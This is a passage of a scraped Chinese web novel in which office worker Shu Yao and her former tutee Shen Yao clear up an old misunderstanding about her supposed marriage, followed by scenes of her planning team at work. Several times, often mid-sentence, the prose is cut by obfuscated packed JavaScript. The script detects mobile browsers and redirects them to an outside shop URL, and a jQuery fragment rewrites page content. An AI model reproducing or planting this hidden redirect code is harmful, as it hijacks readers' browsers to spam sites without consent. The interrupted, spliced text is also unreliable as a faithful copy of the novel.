林娓娓拿手指戳了一下梅悦儿的额头,只是笑笑没回答她;转头对沈曜和舒瑶说道:“行啊。准了。下次记得请我吃饭。” 沈曜对她比了个“OK”的手势。 张宇哲不乐意了,用手指碰了碰林娓娓的肩,轻声不满道:“不是,娓娓姐,组长还有点醉呢。你就这么放心把她交给一个男人?” 林娓娓拍拍他,对着他使了个“别当电灯泡”的眼色,说道:“放心,没事的。他和你们组长是老熟人了。”再说她见舒瑶醉的也不是很厉害。 话都说到这个份儿上了,因酗酒和今晚接二连三的意外导致大脑迟钝的舒瑶才想起来,她还没和其他人介绍过沈曜,连忙对众人说:“大家不用慌。这是和我很熟的一个弟弟,以前我给他做过家教。” 所有人这才放下心来。 “宇宙的尽头是八卦”这话非常应景,在紧张和误会解除之后,众人好奇的目光开始在两人之间游离。 这男生有点意思,直呼舒瑶的大名,却管她的闺蜜叫“姐”?这信息含量有点大啊~ 舒瑶觉得眼下的情景十分尴尬,心里有点窝火。 这显眼包真欠揍!打扮的这么风骚,还拦在路中间搞这么大阵仗,引得同伴和路人都朝他们看。 太丢脸了! 舒瑶抱歉地朝大家苦笑一下,走到沈曜身旁拽了他的袖子一下,“那个,那我和他就先走了。不好意思啊,下次我们再约。张宇哲,你送送Linda他们。”说着,还瞪了一眼沈曜。 张宇哲回道:“好。组长你放心吧。” 沈曜被舒瑶一瞪,反而扯起嘴角露出一个欠揍的得逞笑容。 舒曜交代完也不等大家的反应,拉着沈曜就疾步朝大厅尽头的自动扶梯走去,“你跟我过来!” 沈曜乖乖地跟着她走了。 梅悦儿两眼发光,机械地抬手对两人的背影挥了挥,像个电动招财猫。 她显然还没看够,“哇~好有爱的画面啊~” 一旁的另一个女生居然附和了一句“同感”。 杨衍表面镇定,却恍惚间忆起那个男生他以前应该在哪儿见过。 徐琳亲昵地挽起他的胳膊,用只有两人才听到的声音说:“这男生喜欢舒瑶吧?两人的背影看着好般配。” 杨衍低头,温柔道:“应该是。他们好像认识很久了。” --- 冷风穿过街角,晚上近十一点,离开商业中心主干道后,街上的行人数量锐减。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就算耳熟,舒瑶也没分辨出来那是沈曜的声音。再说她根本想不到沈曜会来海城。 沈曜长长的睫毛颤了颤,斟酌再三,终于试探性的将心底的疑惑问出了口:“你……离婚了?” 舒瑶被他突如其来的诡异问题惊了一个趔趄,停下脚步,提声问:“啊?你在说什么?我都没结过婚,哪里来的离婚?” 38.误会(二) 舒瑶被他突如其来的诡异问题惊了一个趔趄,停下脚步,声音不自觉地大了两分,“啊?你在说什么?我都没结过婚,哪里来的离婚?” 这回轮到沈曜吃惊了。 他蓦地侧过身体,面对舒瑶,脸上写满不可思议,语气里的震惊毫不掩饰,“可我、可我高二暑假那年看见你和一个男人去婚纱店。还听你们同事说你休婚假……” 他反应这么大,倒把舒瑶吓了一跳。 “你在哪里听到我休婚假的?”舒瑶被他荒唐的说辞气笑了。 “婚纱店外面。”沈曜回忆起那时他在婚纱店门口见到的情形,“世纪婚纱”。 他当年见到舒瑶从婚纱店出来就备受打击,煎熬着等了两天,不敢给舒瑶发消息求证,就只有再去婚纱店门口想多看她几眼,没想到看见两个人从婚纱店里走出来,嘴里笑着提到“舒瑶、结婚、休婚假”等字眼。 他那时内心一片混乱,整个头脑被这几个字眼砸得智商全无、失魂落魄,满心认为她快结婚了,完全没听出那两个人语气中的玩笑意味。 浑浑噩噩的他只能通过刷试卷消磨痛苦,也偷偷在深夜里哭过好几次。 他给舒瑶发消息约她见面,她却只推说最近太忙抽不出时间。而她的推脱,在他看来就是变相地承认她已名花有主,所以才想和自己划清界限。 等他终于鼓起勇气再去婚纱店想向她当面问清楚时,却见婚纱店门口贴了张通知,说是那条街线路检修要到晚上九点多才通电。 海城的酷暑是39度的天气,没有空调就意味着没有客户,店铺索性给员工们放了大半天的假,到第二天才开门的。 然而他正值高二升高三的紧要关口,假期有限,在那晚八点多就跟着去海城出差顺便接他的沈志鹏一起回川城了。 少年时期的情感炙热纯粹,根本藏不住,有什么都会立刻反应在脸上和行为上。 沈志鹏到底是过来人,那时候见儿子成天魂不守舍,猜到他大概因为什么事情受了打击。联想起儿子提过很多次的舒瑶,沈志鹏心里有了谱。 当他支支吾吾地向父亲问舒瑶是不是结婚时,沈志鹏便顺水推舟的“嗯”了一声,还叫他别分心,所有的心思都要放到高考冲刺上,甚至没收了他的手机。 他不敢过于蛮横的反抗,怕刺激到沈志鹏旧疾发作,只好拼尽全力忍耐。 忍到最后便有些执拗的扭曲,气舒瑶的冷落、气她推远自己的决绝,更气自己心底那份不敢及时表白的胆怯。 当年无计可施的结果,化为执念: ——即使她结婚了,即使她不愿再理他,他都会考到海城。只为了能和她呆在同一个城市的幼稚念头,还有几乎不可能的擦肩而过。 斗转星移,岁月如白驹般奔腾,将少年的思念与爱恋踏成光阴里的沙,化作一片聚不拢的青春疼痛,默然藏在心底深处,散漫却无法消弭。 沈曜直到这一晚、直到此刻才明白,他爸那年也许根本不知道舒瑶是否结婚。 一切的含混答案都只是为了让他专注学业与高考,不惜做绝到那种地步来斩断他所有可能出现的青春期懵懂情愫。 沈曜的神色瞬息万变,胸口起伏不定,眸中更似波澜起伏。 舒瑶的心情都被他这般模样搅乱了,心想这小孩儿不知道又想起什么,为什么情绪会突然变得这么激动? 于是她眯起眼睛,仔细回忆当年情景,想了一会儿才恍然道:“那年我们接了个婚纱公司的订单,后来我急性阑尾炎发作住院了一个星期。有别组被调去帮忙的同事当时开玩笑,说我休婚假……” 当年沈曜约自己见面时,她正在住院。至于为什么没告诉沈曜自己生病,一方面是怕他担心,另一方面怕因为这个机会两人一来一往又联系地勤了,那她之前所有的努力都白费了。 路灯昏昧,但因两人不过咫尺的距离,沈曜变幻莫测的表情还是全然落进了舒瑶的眼里。 震惊、苦涩、嘲讽、懊恼、欣慰……短短一分钟不到,他的脸色变化可谓精彩纷呈。 也正是因为沈曜的情绪起伏都摆在脸上,真挚又坦诚,反而使舒瑶觉得彼此即便这么些年没见,可她对这个小男孩的熟悉感还在。 两人说得越多越觉不对劲,舒瑶总感觉自己漏掉了什么讯息。 “等等……当时娓娓来接我的时候说,看见一个和你很像的少年。不会是你吧?你那年暑假来海城了?” 沈曜的心翻江倒海的,听到舒瑶这么问,一双清亮的瞳仁中满是苦涩,“如果我没来就好了。” “所以你以为当年我结婚了?”舒瑶现在也不知道该和他说什么了。 他原本明亮的眼眸蒙上一层委屈的水汽,“你屏蔽了你的微信朋友圈,我看不了。急得去问我爸,他说你确实结婚了,还看到你发了很多婚纱礼服的照片出来。” 当年为了推广公司活动,舒瑶在朋友圈猛发过一阵甲方的婚纱款式,但是她记得她有附文字说明啊?难道是沈志鹏消息划拉的太快,看漏了? 舒瑶再次无语,有点莫名受冤的无力感。难怪那阵子这小朋友对我那么冷淡,连个生日祝福都不发了……这是生我气呢? “那你怎么不直接给我打电话?”舒瑶追问。 我怕,怕亲耳从你口中听到那个真相。当年的自己对真相纠结过无数次。 这个真正的理由沈曜当然不会告诉舒瑶,只对她说:“当年我爸看我不太对劲儿,担心我早恋影响学业,就把我手机没收了。再说你不是一直躲我么……” 早恋……他果然…… 舒瑶轻轻咬住嘴唇,有种被人忽然表白的尴尬和微妙的羞涩漫上心头。没错,当年是自己想与他保持距离,但不至于冷漠到几近绝交的份儿上。两人没仇没怨的,何必呢。 想起当年沈曜对自己可能抱有的心思,又猜到他以为自己结婚时的难过伤心,舒瑶的心里也是七上八下的,矛盾中又夹杂着一点心疼。 唉……这都是什么乱七八糟牵扯不清的事儿啊。 舒瑶不禁揉了揉发胀的脑袋,她觉得她的酒醉并没完全醒。 沈曜明白是自己误会了,错愕在原地,半晌都不知道该说些什么。 路灯将他的影子映得长长的,有种说不清道不明的孤单寂寥。 两人就这么彼此对视,都有几分怔愣,又莫名觉得有些好笑。 他们像是冷战了好几年的故友,误会解开,想埋怨却又无从开口。 但是正因为这个荒谬的误会,让沈曜在那一瞬间就明白了舒瑶以前为什么会十分反感异地恋。 这就是空间的距离带来的巨大鸿沟,如果他们在一座城市,只要他多跑几趟,总能了解到真相。 虽说高三忙如狗,所剩无几的空余时间总和舒瑶的对不上,但是也不至于抽不出一两个小时跑过来找舒瑶。 此时的舒瑶可不知道沈曜心里的九拐十八弯。 她现在只觉得别扭,一口气堵在喉咙里不上不下的,荒诞又怪异。 自己为什么要在深夜和以前带过的小男生讨论自己有没有结过婚的误会啊? 这太诡异了吧! 舒瑶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“之前你们不是情人节闹僵的吗?那晚还是我陪了你好久。你不记得了?”沈曜提起当年的事,那时候他才十四岁。 舒瑶遽尔明白过来他在气什么,“你以为他回来找我?你在为我打抱不平?” 沈曜的嘴唇动了动,想辩解却忽的改了口,只是点头,“嗯。” “你误会了,他是去接他女朋友的,他女朋友恰好是我客户。”舒瑶自己想起那一幕都觉得狗血,自嘲般笑道,“感觉今晚像是古早言情剧的路数。” “别多想。你们早就没关系了。”沈曜的思维非常直接。分手了就应该毫无牵挂。 舒瑶被他的直言快语的安慰逗笑,赞同道:“说得对。就当是个陌生人好了。” “你该回了吧?”沈曜看了眼腕表,“女孩子太晚回家不安全。” “是啊。我去前面那个路口拦车,这边是单行道,车辆进来和我住的地方相反,还得调头。”舒瑶朝前方的十字路口张望。 这边的车道有些绕,叫网约车不太方便,反而在路口很容易拦到空的出租车。 沈曜陪她往前走,为她挡去初春夜里的寒风,“走吧。我和你拼一辆车好了。先送你,再送我。” “也行。”舒瑶的醉酒还没彻底清醒,脑子有些迟钝,没觉出沈曜的话里有什么不对劲。与他一起拦了辆出租车走了。 39.徐徐图之(一) K歌的地点离她住的小区有点距离,打车也得二十多分钟。舒瑶和沈曜在车上说了没两句就困得睡着了,到了地方还是沈曜将她叫醒的。 舒瑶慢吞吞地打开家门,发现屋子里灯火通明。 林娓娓正坐在她家客厅的沙发上吃薯片,见她回来,对她俏皮地眨眨眼,“亲闺蜜,求收留。” 舒瑶一个人住,所以她有给妈妈和林娓娓备用钥匙,以防万一。 舒瑶站在玄关呆了半分钟,脱下外套挂起来,又换了拖鞋进屋,对林娓娓露出一个“你果然来了”的笑容,“干嘛?来打听帅哥的八卦啊?” 林娓娓放下薯片袋子,将坐姿改为侧躺的姿势,完全放松道:“对呀。你真是懂我~快说说,小帅哥来找你干嘛的?” 舒瑶走进卫生间洗手,“碰到熟人了,说说话而已。” “只是说说话?那他怎么还送你回家?我刚才在窗台都看见了哦,他和你坐一辆出租车送你到楼下的。” 舒瑶挤了点洗手液,仔细地搓洗双手。“他没送我。我们就是拼个车。” “拼车?他和你顺路啊?他住哪儿?大学宿舍离这儿近吗?”林娓娓才不信。 舒瑶正在擦手的动作停了,“哎?!我忘记问了!车里暖气足,我上车没多久就眯过去了。” 林娓娓揶揄她,“啧啧啧~就你心大。都不知道人家住哪儿,还说拼车。他就是专门送你回来的。这下可好,你的住处他也知道了。这小子心眼儿挺多啊~” 舒瑶将擦手的纸巾扔进垃圾桶,走出卫生间坐到林娓娓身边,从她手里的袋子抓了片薯片吃起来,“哎呀。沈曜很绅士的,以前帮他补习的时候,他也送过我回家的。你别多想。” “我多想?我看是你想得太少了吧。他不会还喜欢你吧?”现在那个小孩已经成年,林娓娓再也没什么顾忌的开起玩笑来。 “就是你多想。这都过去五年了,怎么可能还喜欢我?这事儿能不能翻篇了?”舒瑶笑林娓娓是不是言情小说看多了,“少年时期的懵懂感情有多不靠谱你知道吗?我当年读高中的时候,我们班的班委暗恋学习委员,弄得全班都知道,轰轰烈烈的不得了。结果转头过了个暑假,就和隔壁班的文艺委员出双入对了。” 林娓娓伸出一根手指,戳了一下舒瑶的腰眼,逗得她呵呵笑了好久,“那也不能说明沈曜是那样的啊?他不是连着两年寒暑假都来找你玩吗?我感觉这小孩挺长情的。” 舒瑶拍开她作怪的手,“你快省省吧。有空和我说这些有的没的,自己也去找个恋爱谈谈。免得你闲得慌,总拿我开玩笑。我上礼拜在餐厅还听他同学提过,他好像在高中谈过一个女朋友,只不过后来分手了。他到现在还对那女生念念不忘呢。” “啊???”林娓娓惊讶地差点弄掉自己的薯片,“他谈过女朋友啊?好吧……那看来是姐姐我看错他了。” “诶?真要算起来,你倒也没看错,他是挺长情的。高中那会儿到现在也四年了吧。我估计应该是他高二以后……”说到这里,舒瑶的话戛然而止。脑中有什么一闪而过。 她忽然想起沈曜高二寒假的时候来海城探望外公外婆,还找自己陪他买参考书。那时候他对自己的态度就挺有分寸感的,没像他高一的时候粘着自己约饭和看电影。买完书,他在路边给她买了杯奶茶就头也不回的走了。 这么说来,沈曜应该是高二下半学期的时候谈的女朋友? 嗯……按时间推算来说应该是了。舒瑶越分析越觉得自己的推测正确。 那沈曜当年以为她结婚了,是不是并非自己想像的那般难过?念及此,舒瑶的心中有一些释然。希望如此吧。 “高二到现在还念念不忘啊。那是够久的。在男人中算稀有生物了。”既然谈过恋爱,那么他对于舒瑶的感情应该就是只停留在学生时代朦胧的好感了吧? 林娓娓不再多说什么,更不再提他和舒瑶之间的暧昧了。 很多时候,原本无事发生的两个人被周围的人一起哄,就容易多想。她虽然不认为舒瑶是个会和小自己那么多岁的弟弟谈恋爱的人,但万一呢? 万一舒瑶真被自己给说动了心思,往那方面多想进而对沈曜有了好感,而沈曜又不喜欢她,那自己岂不是把亲闺蜜给坑惨了? 这事儿咱不能干。 林娓娓在心里打定了主意。 除非沈曜表现出明确的追求舒瑶的意思,否则她不会再当着舒瑶的面去调侃她和沈曜了。 “对吧。我的这位小朋友人品还是没话说的。”舒瑶拿着换洗衣物进了卫生间,“这世上啊,只有友情长存。爱情这东西嘛……来如火去如风的,太不稳定。但凡有任何犹豫或不契合的方面,想要长长久久那就不可能。” 林娓娓看着她进了卫生间,扬声和她开玩笑,“人间清醒啊我的妞儿~怎么?这辈子你真不谈恋爱啦?” 舒瑶的声音隔着卫生间门闷闷地传来,“当然不是。只不过我的恋爱原则是不轻易开始、也不轻易结束。没找到合适我要求的,我宁可单着。谁也别想左右我,就算我是大龄剩女了,我也不会和岁月低头!” “那万一到你退休还没找到呢?”林娓娓继续问。 舒瑶一边对着镜子卸妆,一边隔门与闺蜜轻松的聊天,“那不是还有退休以后嘛~退休以后万一找到了,我就来个夕阳恋然后在结婚。一结婚我就是白头到老。岂不美哉?” “这种话你也说得出口?”林娓娓拍着大腿哈哈大笑起来,“佩服佩服!不愧是你。” 这时,舒瑶放在茶几上的手机亮了一下,林娓娓替她看了一眼。 看清是谁发来的消息后,她若有所思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“少年。少哔哔多睡觉,明儿的篮球赛好好打,别又输给我。”卫生间门已被关上,将刚回来的瘦高背影隔绝其内。 “啧……臭屁个什么劲儿,不就是长得比我高点,篮球打的好点么。”周思诺抿抿嘴,瞥了一眼那门,将各种问题憋回心里,躺下睡了。 沈曜打开水龙头,没开热水,反而开着冷水。他掬起一捧冷水泼了泼脸。清凉的水刺激脑中不断涌现的回忆,有陈年旧事、也有今晚刚发生过的事。 ——原来自己生气和在意了那么久的伤心事,居然是个荒唐的误会。 ——上个礼拜去相亲……说明她还是单身。 看着镜中轮廓分明的脸,沈曜的嘴角扬起一个明显的弧度。 40.徐徐图之(二) 灯火通明的会议室里,陈理杰作为鸿轩策划公司的首席执行官,招呼了整个业务团队的骨干开会。 这次他们接了个大订单,高层和中间力量都非常重视。 舒瑶所在的策划A组作为主要负责组,策划B组协助配合,甚至连策划C组都调了两个人过来帮忙。 会议室里浩浩荡荡地挤满了人。 舒瑶扫视了一圈,大概有三十多个人,这个排场不亚于他们公司做一次内部业务的小型培训。 众人坐定,陈理杰开始介绍这次的订单基本情况。 甲方是一家以汉文化服饰及饰品为主营业务的新兴公司——汉广服饰文化有限公司,简称“汉广文化”。 近几年随着汉文化的普及和推广,汉服及相关饰品箱包在年轻人之间越来越流行。甲方的创始人看准了这个市场,大概六年前创办汉广文化,经过两次融资及扩大经营范围,现在已经成为市值上亿的小众服饰企业里的佼佼者。 之前汉广文化的服务客户主要是供给影楼和摄影工作室的古风汉服及饰品,还有小部分是销售和租赁古风服装、饰品给一些中小型的影视剧组。 这次他们希望利用五一假期,联合动漫游戏展中的东方古风仙侠热点,举办一个中型的服饰文化展,通过推广品牌知名度,从而开拓改良汉服的零售市场,将自己的业务渗透到喜欢二次元和汉文化推广的年轻消费群体中。 动员大会结束后的半小时,舒瑶梳理了一下执行方案,立刻组织了被委派任务的策划组成员开展活动前期的策划筹备会议。 舒瑶与B组的组长纪宥涵大致商量了一刻钟,找了间小会议室,将参与本次活动的组员们聚集在一起。 等大家安静下来,舒瑶开始宣布先头方案。 “张宇哲,麻烦你今天上午按照甲方的活动计划书,寻找以往三年内的同类型成功活动案例至少三例。统计这些活动的举办时间、客流量、订单成交量、购买群体的年龄、性别等,做成PPT,后天下班前交给我。” “梅悦儿,你负责收集二次元古风服饰妆容博主大V,至少三男三女,了解他们的表演合作价格、口碑、喜好等。今天下午给我,我好和纪组长先进行筛选。” 交代完已经跟自己同组两年的张宇哲和梅悦儿,舒瑶侧头转向坐在自己斜对面的新入职两个月的一个长得胖嘟嘟的可爱女生,微笑道:“钱晓蔓,我看你平时午休的时候挺喜欢玩手游,有些好像还是古风手游?” 钱晓蔓刚入职一个月还不到,头一次参与这种公司内相对比较大的活动,内心紧张又激动,听到头儿点她名字,忙不迭地点点头,“嗯嗯。可好玩了。组长你要玩吗?” 舒瑶笑道:“那就麻烦你收集目前市面上最受欢迎的古风动漫和网游、手游,分别找出这三个领域排名靠前的三家,总结动漫、游戏背景、投放市场的时间,统计玩家人数、市场占有率,角色授权合作的大概价位,做成PPT,明天下班前交给我和纪组长进行合作筛选。可以吗?” 因为动漫和游戏这些,是舒瑶他们公司以前没接触过的领域,所以对于授权合作的价格区间,他们并没有历史数据可以参考。这次她需要收集这些数据,才能做好报价预算。 钱晓蔓两眼发出炯炯的光芒,比了个“OK”的手势,高兴道:“可以。这些我最在行了。” 听舒瑶一通安排下来,钱晓蔓的心越来越激动了。这是要做游戏真人秀的节奏啊? 啊啊啊——我怎么这么幸运!进公司第一个参与的策划案就是我最喜欢的和二次元有关的活动! 舒瑶扫了一眼组员们的表情后,又将没分配完的任务与其他组员一一交代完。 舒瑶的策划A组往常主要负责的就是服装箱包类的活动,因此这次活动还是以A组为主。 B组是负责饰品及日用化妆品的,这次的汉服展,他们负责的任务量没那么大,因此直到A组的任务分配完,纪宥涵才和B组的成员把初期筹备任务布置下去。 钱晓蔓见舒瑶和纪宥涵正在低声交谈,悄悄拉了一把坐在右手边的梅悦儿,“悦儿,咱们老大好像对每个组员擅长什么、喜欢什么摸得门儿清啊?她连我喜欢打手游都知道。这点兵点将的功法很熟练哦~” 梅悦儿笑了笑,伸手戳了一下她的胳膊,“那当然。我们组长最是知人善用了。都找的是大家擅长的活儿派的任务。而且她思路清晰,布置任务向来快狠准,不会弄错人的。不像我上一家的领导,活儿都分派不明白。” 钱晓蔓使劲儿点头,兴奋道:“就是就是。我上一家公司的领导做事也有点糊涂、效率也不高。像刚才这些前期准备的任务,他得搞个至少一整天或者两天才能想好执行计划找我们开会。再看组长,居然动员会开完一小时不到,前期准备计划就已经成竹在胸了。而且还把信息收集的任务都分配下去了。厉害~”说着,钱晓蔓还比了个大拇指。 张宇哲坐在她的左手边,听两个小姑娘提及舒瑶,清俊的脸上笑意满满,也来凑热闹,说: “组长是真的厉害。跟着她,加班都不会太多的。除非到活动临开展前一星期,才会稍微加的晚一点。我问了几个同行,他们每个月加班的时间比我多了至少三分之一,有两个甚至是我们的一倍。” 张宇哲刚进公司那阵,加班很多。自从舒瑶当了组长后,她逐渐改进工作流程、重新分配组员的工作内容,规划时间管理和执行效率,使得A组加班的频率和时长得到了很大的控制和改善。 盯着舒瑶的方向,张宇哲觉得这样挥斥方遒的她,周身仿佛都在发光。 梅悦儿瞧张宇哲一边握着拳头一边讲得声情并茂,低头捂住嘴哧哧笑起来,意味深长的说:“好了好了。知道你是舒瑶姐的超级迷弟了。别太激动。我们组长刚毕业那两年加了不少的班,吃过苦头的。所以现在对于工作安排做得很用心,不想我们像她当年一样吃那份苦。” 张宇哲被她嘲得红了脸,憨笑着捋了捋自己的头发。 见大家讨论的差不多,舒瑶拍了拍手唤回众人的注意力,道:“那么今天到明天上午就辛苦各位了。只有你们提供的信息精确,我们后面对于合作对象的筛选和活动计划的执行才能更准确高效。好了,会议结束,大家去忙吧~” 众人拿着笔记本依次离开小会议室。舒瑶与纪宥涵又讨论了一下拿到调研数据后要做的事情,才离开回了各自的办公位。 昨晚睡的有些迟,舒瑶揉了揉有点晕的脑袋,一看时间,发现已经中午了。于是她拿上手机去楼下的咖啡吧买咖啡和午餐。 现在还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张宇哲在舒瑶转头的同时也看见了那个年轻男生。他很快就认出这是前两天在KTV拦住舒瑶的人。 不是他记人脸的功夫一流,只因为这男生长得太过出色,叫人一眼难忘。 沈曜今天梳着清爽的微分碎盖,不再似那天刻意打理过的层次感分明的背头。他上身穿着一件绀青色的粗麻毛衣,下身是靛蓝色的休闲牛仔裤,脚上穿着一双白色的潮牌板鞋。整个人俊美又有朝气,还透着一股浓浓的学生气,比那晚见到的更显年轻。 沈曜看清舒瑶身边的张宇哲,挑了一下眉,似笑非笑地盯着舒瑶,“我昨晚不是说把围巾给你送过来么。忘了?” “哦!”舒瑶顿了两秒,轻轻拍了一下额头,“抱歉。今早太忙。真的忘了。” 她才想起来,昨天沈曜发微信问自己是不是在鸿轩策划。 舒瑶的朋友圈里晒过自己公司的活动,他想知道自己的公司在哪,只要翻朋友圈就能看到。他还说今天会路过她所就职的公司,顺便给她把围巾送过来。 只是她没想到他会中午过来。“你们下午没课吗?我以为你得下午才来呢。” “今天下午没课。”沈曜朝她举了举手中装围巾的纸袋,眼神亮亮地盯着她,笑道,“我给你当跑腿,你不得请我吃个中饭?” 舒瑶笑他的直接,点点头,“我下午挺忙的。没空出去吃饭,你如果不嫌弃咖啡吧的西式简餐,那我就在这儿请你一顿?” 沈曜扫了一眼她身旁脸色不太好的男同事,笑道:“不嫌弃。既然是你请客,我还挑什么。你刚才点了什么?给我点份儿一样的就行。” 41.徐徐图之(三) 既然舒瑶的朋友来了,张宇哲只好独自取过咖啡上楼回公司去了。 离开之前,他懊恼地瞥了一眼沈曜。 沈曜一手插着裤兜,心安理得地站在舒瑶旁边,权当没看见。 趁着午休大军还没全面扑进店里,舒瑶挑了个靠窗临街的两人座位与沈曜一同坐下来。 等沈曜将装着两份烟熏三文鱼三明治的套餐餐盘平稳地放在小圆桌上,舒瑶才对他说:“昨晚太晚了,没和你细聊。你今儿怎么有空来这附近?” “陪我师兄过来面试。”沈曜笑了笑,将餐盘里叠放在一起的几张餐巾纸从三明治下面抽出来,递给舒瑶。又将她点的咖啡往她的方向放到她面前。 舒瑶见他如此贴心的服务,拿过咖啡小小唆了一口,感叹道:“你还挺绅士的嘛。这么几年没见,的确是长大了。” “可不是?毕竟你都奔三了。”沈曜的左眉挑了一下,一脸欠揍地勾着嘴角笑道。 舒瑶扎心地皱皱鼻子,说:“毒舌的本事也渐长。” 一轮玩笑开过,舒瑶问他:“你学长大四的吗?像你们法学专业,是不是读研以后出路会更好?” 沈曜单手握着咖啡杯抿了一口,“大四。他打算先工作两年,积累一些实践经验,再考虑读研。” 舒瑶:“那你呢?打算先工作还是先读研?” “和他想法差不多。”停顿一会儿,沈曜似是突然想到什么,话锋一转,问舒瑶:“对了,现在你们公司招实习生吗?” 经他提起,舒瑶想起公司确实一直都有招实习生的惯例。只要是公司内部设有的部门,都可以申请实习生,为以后的人才录用做储备。 “怎么?你想来我们公司实习?以后不打算去律所吗?”舒瑶慢慢用刀切着三明治。 沈曜像是早想到她会这么问,笑道:“不打算。我打算走in-house路线,做企业法务。不会像我爸那样开律师事务所。怎么样?你给个机会吗?” 舒瑶思忖片刻,回道:“也行。不过我们公司实习生待遇不高哦。一天一百,不分工作日和双休日。没有午餐补贴、也没有交通补贴。如果分到像我们这种核心业务部门,加班会比较多,也没额外加班费用,顶多换个调休假期。加班超过晚上七点半的话,只提供晚餐津贴,人均30元,实报实销。你如果想清楚了,我可以帮你走内部推荐流程试试看。” 舒瑶公司的实习生招录制度是优先内部推荐的,内部推荐不满员的情况下,才会在招聘网上招录。 “哦,还有。我们公司法务部的实习岗已经招到了。如果你要进我们公司,估计也不会被分配到法务部。业务部现在还有一些实习空缺,可能你会被分配到业务部。”舒瑶补充道。 沈曜放下咖啡,拿起三明治,慢条斯理地拆开包装纸袋,“想清楚了。我找实习也不是为了钱,主要还是积累社会工作经验,熟悉公司内部运作。你帮我推荐吧。” 舒瑶见他眼神坚定,知道他并非临时起意,而是早就想好了要这么执行自己的职业规划,便同意了。 “好。那你回去发我一份你的个人简历,我转发人事部。有面试的话,他们会直接联系你。” 沈曜点点头,慢悠悠地啃起三明治,“你们策划部算业务部吧?” 舒瑶:“当然了。我们可是核心业务部门。” 沈曜目光幽幽地盯着手中那杯红茶拿铁,低低地说一句,“那就好。” 舒瑶下午的工作任务繁重,她迅速解决了午餐,和沈曜打过招呼就上楼去了。沈曜说要等人,还得在咖啡吧里多坐一会儿。 舒瑶走了没过十分钟,梅悦儿和钱晓蔓也下楼到咖啡吧来买午餐。 沈曜看了眼时间,他和学长约定的时间差不多到了,准备起身离开。 却听到后面的座位有凳子被拖动的声音,紧接着,听到有个语速很快的女声略带兴奋地说道:“悦儿,我能不能和你八卦一下?” 梅悦儿:“嗯?你说?” 钱晓蔓:“张宇哲是不是喜欢舒瑶姐啊?” 梅悦儿一副“你问对人了”的表情:“嘻嘻~你也看出来了?” “这太明显了好嘛!那家伙充满爱意的眼神可是一点儿都藏不住啊。盯着组长的时候,那眼睛都快拉丝了好吗!”钱晓蔓双手捧脸,觉得自己磕到糖了,“张宇哲长得不差,和舒瑶姐在一起看着挺般配的。” 想了想,她又轻轻地皱起眉头,“不过我看舒瑶姐对他一直都是公事公办的样子,完全不受他的爱心眼神攻击呀。定力不是一般的强。换了我面对这样一个喜欢我的小帅哥,我早晕头了。” “就你那点儿出息。”梅悦儿用手指轻轻戳了一下她白胖的脸颊,“组长长得漂亮、工作能力强,如果这点定力都没有,面对追她的同事和客户,那还不得成天晕乎乎的。就我所知,我来公司这两年,被她拒了的追求者不下五个。” “啥?那么多吗?”钱晓蔓惊了,“组长的信念是‘智者不入爱河’的单身党吗?” 入了社会的人,和在学校那时候已经不一样了。要挑明了认真去追求一个人,再不会单单只凭自己对对方的好感。 职业、经济条件、社会地位、家庭背景、身材长相等等都需要考虑,有任何一方面有顾虑,都不会轻易展开追求。 如果是同一家公司或者是客户,那还得考虑万一被拒绝以后所面临的尴尬共处情形。 因为限制条件很多,两年之内拒绝五个挑明的追求者,那真的不能算少数了。 梅悦儿用手机点完单,笑瞥她一眼,“怎么可能!只不过是因为不合适而已。其实曾经有一个甲方客户还挺好的,年龄比她大两岁,成熟稳重,聪明又英俊,我看舒瑶姐也有点动心,还和他出去吃过两次饭呢。可惜那人要被公司外派两年开拓东南亚的新市场,以后回不回来还说不定,舒瑶姐就没和他往下发展。” 钱晓蔓又问:“拒绝这些人,舒瑶姐的工作情绪会不会受影响?我看她那么年轻就当了组长,感觉不太是会被影响的样子啊?” 梅悦儿似乎被这个问题打了一针鸡血,眼睛一下子亮起来,面露崇拜的说:“嘿~说到这个就更牛了。我当时也问过组长,你猜她怎么说?她说‘他们都不怕被我拒绝以后尴尬,我干嘛要尴尬。更该操心的人不是他们吗?彼此喜欢又合适就在一起,不合适就拒绝。我们女生应该把这些感情的事想的简单一点,把核心放在自己身上,而不是放在那些虚无缥缈的人选身上。拒绝内耗自己。’” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13673171|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >钱晓蔓两眼冒星星,“哇~~女神啊~~人间清醒。说得太对了!哎哎?悦儿,你说组长会接受张宇哲吗?” 